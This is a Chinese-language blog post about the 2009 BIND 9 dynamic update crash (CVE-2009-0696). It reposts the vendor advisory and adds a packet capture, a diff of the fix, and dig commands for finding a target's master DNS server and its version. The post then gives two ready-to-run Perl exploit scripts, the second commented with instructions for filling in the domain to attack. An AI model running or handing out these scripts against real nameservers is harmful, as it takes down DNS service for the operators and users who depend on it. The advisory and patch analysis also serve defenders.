BIND Dynamic Update DoS

CVE:
 CVE-2009-0696 
CERT:
 VU#725188 
Posting date:
 2009-07-28 
Program Impacted: 
 BIND 
Versions affected: 
 BIND 9 (all versions)
Severity:
 High 
Exploitable:
 remotely 
Summary:
 BIND denial of service (server crash) caused by receipt of a specific remote dynamic update message.

Description:

Urgent: this exploit is public. Please upgrade immediately.

Receipt of a specially-crafted dynamic update message to a zone for which the server is the master may cause BIND 9 servers to exit. Testing indicates that the attack packet has to be formulated against a zone for which that machine is a master. Launching the attack against slave zones does not trigger the assert.

This vulnerability affects all servers that are masters for one or more zones – it is not limited to those that are configured to allow dynamic updates. Access controls will not provide an effective workaround.

dns_db_findrdataset() fails when the prerequisite section of the dynamic update message contains a record of type “ANY” and where at least one RRset for this FQDN exists on the server.

db.c:659: REQUIRE(type != ((dns_rdatatype_t)dns_rdatatype_any)) failed
exiting (due to assertion failure).

Workarounds:

None.

(Some sites may have firewalls that can be configured with packet filtering techniques to prevent nsupdate messages from reaching their nameservers.)

Active exploits:

An active remote exploit is in wide circulation at this time.

Acknowledgment:

Matthias Urlichs for reporting the problem.
Tom Daly for methodical follow-on testing.

Revision History:

2009-07-28 Initial text
2009-07-29 Update to reflect Tom Daly's findings

攻击脚本:

bind can be crashed with an update packet:

Packet in tcpdump:

15:38:11.676045 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 178) 10.2.0.205.59447 > 10.2.0.205.53:  17378 update [1a] [1n] [1au] SOA? 8.0.10.in-addr.arpa. 8.8.0.10.in-addr.arpa. ANY ns: [|domain]

Another view of the Packet:

| ;; HEADER SECTION
| ;; id = 181
| ;; qr = 0    opcode = UPDATE    rcode = NOERROR
| ;; zocount = 1  prcount = 1  upcount = 1  adcount = 1
|
| ;; ZONE SECTION (1 record)
| ;; 8.0.10.in-addr.arpa.       IN      SOA
|
| ;; PREREQUISITE SECTION (1 record)
| 4.8.0.10.in-addr.arpa.        0       IN      ANY     ; no data
|
| ;; UPDATE SECTION (1 record)
| 4.8.0.10.in-addr.arpa.        0       ANY     ANY     ; no data
|
| ;; ADDITIONAL SECTION (1 record)
| office.example.com.        0       ANY     TSIG    HMAC-MD5.SIG-ALG.REG.INT. NOERROR

  1. #!/usr/bin/perl -w  
  2.  
  3. use Net::DNS;  
  4.  
  5. our $NSI = '<dns server>';  
  6. our $NSI_KEY_NAME = '<key name>';  
  7. our $NSI_KEY = '<key>';  
  8.  
  9.  
  10. my $rzone = '<zone>';  
  11. my $rptr  = "1.$rzone";  
  12.  
  13. my $packet = Net::DNS::Update->new($rzone);  
  14.  
  15. $packet->push(  
  16.     pre => Net::DNS::RR->new(  
  17.         Name  => $rptr,  
  18.         Class => 'IN',  
  19.         Type  => 'ANY',  
  20.         TTL   => 0,  
  21.     )  
  22. );  
  23. $packet->push(  
  24.     update => Net::DNS::RR->new(  
  25.         Name  => $rptr,  
  26.         Class => 'ANY',  
  27.         Type  => 'ANY',  
  28.     )  
  29. );  
  30.  
  31. $packet->sign_tsig( $NSI_KEY_NAME$NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;  
  32.  
  33.  
  34. print $packet->string;  
  35.  
  36. Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);  

针对这个漏洞的渗透测试,有两个比较有用的命令:
1.找到某个域名的主DNS服务:

  1. dig +trace www.example.com #找到www.example.com的dns服务器地址   

2.查询某个dns服务器的版本号:

  1. dig @xxx.xx.xx.xxx txt chaos version.bind  

再说一下造成这个漏洞的原因,没有仔细的分析,只是diff了一下9.6.1和9.6.1-1p。

  1. diff -r bind-9.6.1/bin/named/update.c bind-9.6.1-P1/bin/named/update.c   
  2. 18c18   
  3. /* $Id: update.c,v 1.151.12.5 2009/04/30 07:03:37 marka Exp $ */   
  4. ---   
  5. /* $Id: update.c,v 1.151.12.5.12.1 2009/07/28 14:18:08 marka Exp $ */   
  6. 982c982,986   
  7. else   
  8. ---   
  9. else if (type == dns_rdatatype_any) {   
  10. > dns_db_detachnode(db, &node);   
  11. > dns_diff_clear(&trash);   
  12. return (DNS_R_NXRRSET);   
  13. > } else  

在bind崩溃时,所提供的信息为:
03-Aug-2009 16:43:24.246 db.c:649: REQUIRE(type != ((dns_rdatatype_t)dns_rdatatype_any)) failed
03-Aug-2009 16:43:24.246 exiting (due to assertion failure)

看来是bind9对dynamic update的数据包中,没有考虑到会有type为dns_rdatatype_any这一类型的数据位导致。因此该漏洞也仅仅会停留在DoS,不会有exploit的可能了。

看来,针对应用协议类的fuzz还是有潜力可挖的。

攻击脚本:

  1. #!/usr/bin/perl -w   
  2.  
  3. use Net::DNS;   
  4.  
  5. our $NSI = 'NS_IP'; 将NS_IP替换成ns的ip地址   
  6.  
  7.  
  8.  
  9. my $rzone = 'NS_NAME'; #将NS_NAME替换成要攻击的主域名 如showrun.com   
  10. my $rptr = "www.$rzone"; #将www一定要替换成真实存在的子域名   
  11.  
  12. my $packet = Net::DNS::Update->new($rzone);   
  13.  
  14. $packet->push(   
  15. pre => Net::DNS::RR->new(   
  16. Name => $rptr,   
  17. Class => 'IN',   
  18. Type => 'ANY',   
  19. TTL => 0,   
  20. )   
  21. );   
  22. $packet->push(   
  23. update => Net::DNS::RR->new(   
  24. Name => $rptr,   
  25. Class => 'ANY',   
  26. Type => 'ANY',   
  27. )   
  28. );   
  29.  
  30. #$packet->sign_tsig( $NSI_KEY_NAME$NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;   
  31.  
  32. print $packet->string;   
  33.  
  34. Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);   


参考:
关于DNS的dynamic update: http://www.ietf.org/rfc/rfc3007.txt
http://www.net-dns.org/docs/Net/DNS/Update.html
http://downloads.securityfocus.com/vulnerabilities/exploits/35848.txt

 

failed to load Net::DNS::Resolver: Can't locate Net/DNS.pm in @INC (@INC contains: /usr/local/lib/perl5/site_perl/5.6.1 /usr/local/lib/perl5/site_perl/5.6.1/mach /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.6.1/BSDPAN /usr/local/lib/perl5/5.6.1/mach /usr/local/lib/perl5/5.6.1) at /usr/local/lib/perl5/site_perl/5.6.1/Mail/SpamAssassin/Plugin/URIDNSBL.pm line 113.

http://www.net-dns.org/download/Net-DNS-release.tar.gz

perl Makefile.PL
make
make test

make install

此文章由 flyinweb 于 2009-08-06 11:14:30 编辑

本日志由 flyinweb 于 2009-08-06 10:13:35 发表,目前已经被浏览 560 次,评论 0 次;

作者添加了以下标签: BINDDynamic Update DoS

引用通告:http://www.517sou.net/Article/167/Trackback.ashx

评论订阅:http://www.517sou.net/Article/167/Feeds.ashx

相关文章

评论列表

    暂时没有评论
(必填)
(必填,不会被公开)